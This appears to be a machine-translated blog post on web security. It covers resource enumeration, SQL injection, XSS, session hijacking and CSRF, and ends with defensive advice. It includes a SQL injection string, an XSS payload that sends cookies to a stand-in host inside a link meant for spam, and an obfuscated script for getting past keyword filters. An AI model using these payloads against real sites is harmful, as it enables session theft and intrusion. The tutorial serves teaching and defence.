Web site security (front-end)

Believe that you have seen the alert pop-up window, which shows you the cookie information (as requested in conjunction with the blog Park has been deleted). Simply popping information on your client is just like forcing you to undress in your own room-no one can see it, and naturally it's not a malicious act. So what if I send your message through a script to my server to save it? First of all, I do not intend to do so, there is no money to buy a server to do shameful things, do not want the blog park to seal off my site.

As the title says, today is a web security mechanism, but this "front end" word is a narrow sense, the security of the majority of the problem is more dependent on the back end of the filtering and interception measures, the back end of the friend if interested, see also no harm.

Let's not talk about the "Send information to the server by script" above, we'll talk about what the basic web attacks are.

Web basic attacks can be broadly categorized into three broad categories-resource enumeration, parameter manipulation, and other attacks.

Resource Enumeration

Sometimes by the influence of the predecessors (the technical predecessors or the last employee you take over), we may agree to do something idiomatic, such as naming the function name with the Camel name method and writing the annotation in JSDoc way, which will make your team work more normative. Then one day to do a backup of the project, directly to the project compressed into a RAR file, what is named? The preferred nature is "Bak.rar", you see the backup form of the database is not also. bak.

Thus, if the address of the compressed package is accessible, then everyone can easily download to this "Bak.rar" file, and your project will not have any small secret (even if summer and summer quietly passed).

This is the "resource enumeration", the person who has ulterior motives will traverse all the accessible directories of your site, and then put some common spare tire file names (such as "Sql.bak", "index-copy. html") to enumerate a bit, if the luck is good to enumerate to the direct download.

So it is not a good thing to follow the mainstream, for important things, either in places inaccessible to outsiders, or to give it a less well-guessed name.

Resource enumeration is not confined to blind search, but smart people use clues to better guess things.

Suppose there is a site to go for a pseudo-static high-cold route, don't want to let others know it uses the language and database, but not configured good backend error message prompt. Then the "ulterior motives" of friends can be in this site of a search results page to tamper with the URL parameters, resulting in a database query error and return to the database error information page, or enter a non-existent sub-page address to obtain error information, so as to determine the site is exactly what database or dynamic language.

Parameter manipulation

This includes SQL injection, XPath injection, CGI command execution, and XXS and session hijacking. The first three attacks are triggered primarily on the server, and the latter is focused on the client.

SQL injection This piece does not want to chat, I believe many friends hear the ear long cocoon, is nothing more than to submit the information containing SQL operation statements to the backend, the backend if not well filtered on the execution of the statement, the attacker can naturally arbitrarily manipulate the site database.

For example, there is a library site book.com, you click on a book details page, the URL is this:

book.com/book?id=100

This book shows that the key value in the database is 100, and the backend receives the URL parameter and executes the database query operation:

SELECT * from booktable where id= ' 100 '

So if we change the URL to

Book.com/book?id=100 ' or ' 1 ' = ' 1

Then the execution of the database operation becomes:

SELECT * from booktable where id= ' or ' 1 ' = ' 1 '

This removes all data from the entire booktable form.

XPath injection is similar to SQL injection, except that the XML format of the database goes, the attack way naturally also has to follow the syntax of XML lookup, specifically to see here.

CGI command execution refers to when a user remotely accesses a CGI script by submitting a malicious parameter that allows the server to execute the relevant CGI command to obtain information or even manipulate the server. Interested friends can look down here.

For these attacks, what we need to do is to naturally filter the submission parameters, preferably front-end filtering, and back-end filtering (back-end filtering and interception is the most important, after all, through the browser to disable the script configuration can avoid the front-end filtering).

An XSS(cross-site scripting cross-domain scripting attack) attack is also one of the most common web attacks, with a focus on "cross-domain" and "client-side execution." Let's Take That library website book.com to ridicule.

Suppose there is a place in the upper right corner of the page where you can search for a book, you could simply type in a book you don't have at all, like a "rich willful Guide", then click the "Search" button. This time the page (book.com/search?name= Rich Wayward Guide ) will return a message:

The book you searched for "Rich wayward Guide" does not exist

OK, so how about we type this:

<script>alert (' No books open a knitting bookstore ') </script>

Assuming that the library site does not filter the data, and the data entered by the user is displayed intact, the returned page will naturally return the script to execute it.

But this is not good to play, since to do the attack, we have to obtain the user's data, to obtain the data naturally to send the information back to our server (assuming that the address of receiving information is Http://vajoy/get), then we can write:

<script>document.location= ' http://vajoy/get?cookie= ' +document.cookie</script>

But this is not good to play Ah, received is always our own data, we want to collect should be someone else's cookie information Ah!

For a trifle, you may wish to let others click on this address by QQ group, or by mass spam Mail:

book.com/search?name=<script>document.location= ' http://vajoy/get?cookie= ' +document.cookie</script>

This is one of the XSS attacks, called "reflected XSS"-based on the reflection of XSS attacks, mainly rely on the site server to return the script, the client triggered the execution to initiate a web attack.

Similar to the "dom-based or local XSS"-a DOM-based or local XSS attack. By analogy with the project I'm working on--free wifi for users, but a gateway with free WiFi will insert a script into any page you visit to embed a suspended ad (you can turn it off, of course), but if the script you insert is a malicious script that gets your sensitive data, it's different. The behavior of sending user information directly across domains, like this directly present on the page without having to go through the server back to script processing, is based on local XSS attacks.

There is also the last known "Stored XSS"-storage-based XSS attack. It is through the Bar Ah Blog Park Ah and other places to publish a malicious cross-domain script posts or articles, so that the malicious script stored in the inside, each access to the post/article will be the people.

Remember the alert pop-up window that started loading this article? Suppose the blog park to filter the article, all the "alert" Ah, "eval" ah and other sensitive characters are filtered out, then we how to do? We can do this:

<script type= "Text/javascript" >var x= ' Eva ' +string.fromcharcode (108), y=window,e= ' a ' +string.fromcharcode (108 ) + ' ert ("Welcome to this article") '; y[x][' call '] (this,e);</script>

So we're going to get the right pop-up window.

The prevention of XSS is also a filtering of submission data, and there is a little bit of caution in returning user-submitted content!

Session Hijacking

Baidu Encyclopedia has a very interesting citation-"in the real life, such as you go to the market to buy food, after the money you have to do some other things, wait a while to pick up the vegetables, if this time a stranger asked to take the dishes, the seller will give the dishes to strangers?" ”

This metaphor is interesting, and when we routinely access an HTTP Web site, we establish an HTTP session with its server. Suppose your "friends" in your dorm house are on the same subnet as you, and some of them want to pretend to hijack your HTTP session, then the server will take the dish, oh no, is the message back to that person?

The answer is yes, because the HTTP session is not secure. It encapsulates the transmission of data through the TCP/IP protocol, inserting a 32-bit serial number into each byte of the transmitted data, which is used to maintain the tracking data and provide reliability (serial numbers are progressively incremented in accordance with the data order). Third-party attackers can sniff the message information in the user and server communication, if he can guess the serial number in the data, it will be able to disconnect legitimate users, disguised as legitimate users to control the subsequent calls.

For the prevention of session hijacking, we can take the SSH protocol, enhance the robustness of the network security system, or use the unordered UUID instead of the serial number in the communication (instead of gradual increment).

Other attacks

Other attacks include CSRF attacks, phishing attacks, and denial of service attacks, which are not mentioned previously.

CSRF(Cross-site request forgery), translated for cross-site requests forgery, is very similar to XSS, but XSS is the use of the user's trust in the current site to launch an attack, and CSRF is to take advantage of the site to the user's trust to launch an attack.

Still take the above library site for example, if its security mechanism is lax-as long as the user login to the site, as long as the browser is not closed, in any case can be used as an authenticated user to do the purchase of books, borrowing operations (no need to re-login or enter a payment password or something, After all, you've already logged in and verified it once.

So we send a message to a user, and there's a link to the book execution page ... Oh, no, that's what we need. Users click on it, we want the user to see the time to execute the book operation, we can do this-in the mail to insert a picture:

IMG, script, IFRAME tags are not restricted by the same-origin policy, assuming that you use the mailbox is very straightforward to display this image to the user, and the user just logged in book.com and did not close the browser, the SRC connection will be immediately accessible book.com/ Pay page, and follow the authenticated case to do the book operation.

I believe now you will be very clear why the current mailbox will not directly display the picture in the mail--all for your safety considerations.

For CSRF attacks, we can do the following:

1. Check the Referer parameter in the header to ensure that the request originates from the correct website (but the XHR request can call the setRequestHeader method to modify the Referer header);

2. The user's identity needs to be re-verified for any important request;

3. Create a unique token, place it in the session of the server and the cookie of the client, and check the consistency of the two for any request.

phishing attack refers to the forgery of the website, such as ta0bao.com, and then the use of XSS and other ways to launch attacks.

denial of service (DoS) refers to a flood-like request to a website (traffic floor), which causes the server to overload and shut down, and the processing method is routinely a hardware and software solution with QoS (quality of service).

Attack plane

The attack plane refers to where a malicious person might start making trouble, and there are three common attack planes:

A. Traditional Web application

1. Form input (even the contents of the hidden control);

2. Cookies (The purpose of SQL injection attacks can also be achieved by modifying the cookie content);

3. Header (sometimes in order to facilitate statistical source data, the server will send the client header referer, user-agent information to the database, then by modifying the header information can also play the SQL injection tool purposes)

4. Request parameters

5. Uploading files (carrying malicious code within the file)

Two. Web Services

1. All of the above "traditional Web services" methods;

2. wsdl document (each method that exposes the server and how it is used)

Three. Ajax Applications

That is, the "one" and "two" collections

Solution Solutions

In summary, we can look at our web site in this way:

1. Never trust any information from the client, the information should be encoded or filtered first;

2. Carefully return the information entered by the user;

3. Use blacklist and whitelist processing (i.e. "What sensitive information is not allowed" or "what information is allowed only", the effect of whitelist is better but the limit is high);

4. Check and verify the source of the request, re-verify each important operation;

5. Use SSL to prevent third parties from listening to traffic (but not blocking XSS, CSRF, SQL injection attacks);

6. Do not store important files and backup files in places accessible to the public;

7. Session ID is unordered;

8. Verify the files uploaded by the user (not just for format verification, for example, a GIF image should also be converted to binary and validate its per-frame color values < unsigned 8-bit > and wide-High values < unsigned 16-bit >);

9. The WSDL document should require the user to register for access;

10 .....

While we have some necessary means to prevent web attacks, there will never be a silver bullet to completely solve the problem, not to mention the countless known, vulnerable vulnerabilities, the enigma of the 0-day loophole, we can only do early detection and timely repair them.

Reprint: http://www.cnblogs.com/vajoy/p/4176908.html

Web site security (front-end)